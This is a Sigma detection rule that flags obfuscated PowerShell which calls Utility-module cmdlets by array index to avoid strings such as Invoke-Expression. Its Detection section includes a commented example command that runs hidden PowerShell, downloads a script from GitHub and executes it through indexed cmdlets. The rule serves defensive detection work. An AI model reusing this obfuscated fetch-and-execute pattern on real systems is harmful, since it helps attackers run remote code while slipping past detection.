Sigma rule: PowerShell Dynamic Module Invocation Via ExportedCommands Array Index

Rule

Title

PowerShell Dynamic Module Invocation Via ExportedCommands Array Index

Status

experimental

Level

high

Author

Norbert Jaśniewicz (AlphaSOC), Swachchhanda Shrawan Poudel (Nextron Systems)

Date

2026-10-06

File

rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects PowerShell processes invoked with obfuscated command lines that enumerate Microsoft.PowerShell.Utility
exported commands and invoke cmdlets indirectly by array index. This technique is used to evade
detections that look for explicit strings such as Invoke-RestMethod or Invoke-Expression.

Log source

product

windows

category

process_creation

Detection

# powershell.exe -NoP -W Hidden -C "$kp=12;$sEzg=32;$cSX=((Get-Module -ListAvailable 'Microsoft.PowerShell.Utility')).ExportedCommands.Values;$cSX=$cSX.Name;& $cSX[$kp] 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1' -OutFile C:\Temp\maldoc.ps1;$qJgm=$cSX[$sEzg];& $qJgm (Get-Content C:\Temp\maldoc.ps1 -Raw)"
selection_img:
    - Image|endswith:
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'powershell.exe'
          - 'pwsh.dll'
selection_module_export_enum:
    CommandLine|contains:
        - 'Get-Module '
        - 'gmo '
    CommandLine|contains|all:
        - 'ListAvailable'
        - 'Microsoft.PowerShell.Utility'
        - 'ExportedCommands'
        - 'Values'
selection_index_used:
    CommandLine|contains: '[*]'
condition: all of selection_*

False positives (as the rule lists them)

• Legitimate use of exported commands array indexing during PowerShell command execution (should be rare)

Tags

• attack.execution
• attack.stealth
• attack.t1027.010
• attack.t1059.001

MITRE ATT&CK ids this rule names

• T1027.010
• T1059.001

Related rules

• 4ff4ad3e-9fb5-4a70-9962-d6ea58090318 (similar)

References

• https://www.linkedin.com/posts/mark-o-halloran1_clickfix-defense-evasion-tactic-today-i-ugcPost-7453463467736408064-snrp/

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index.yml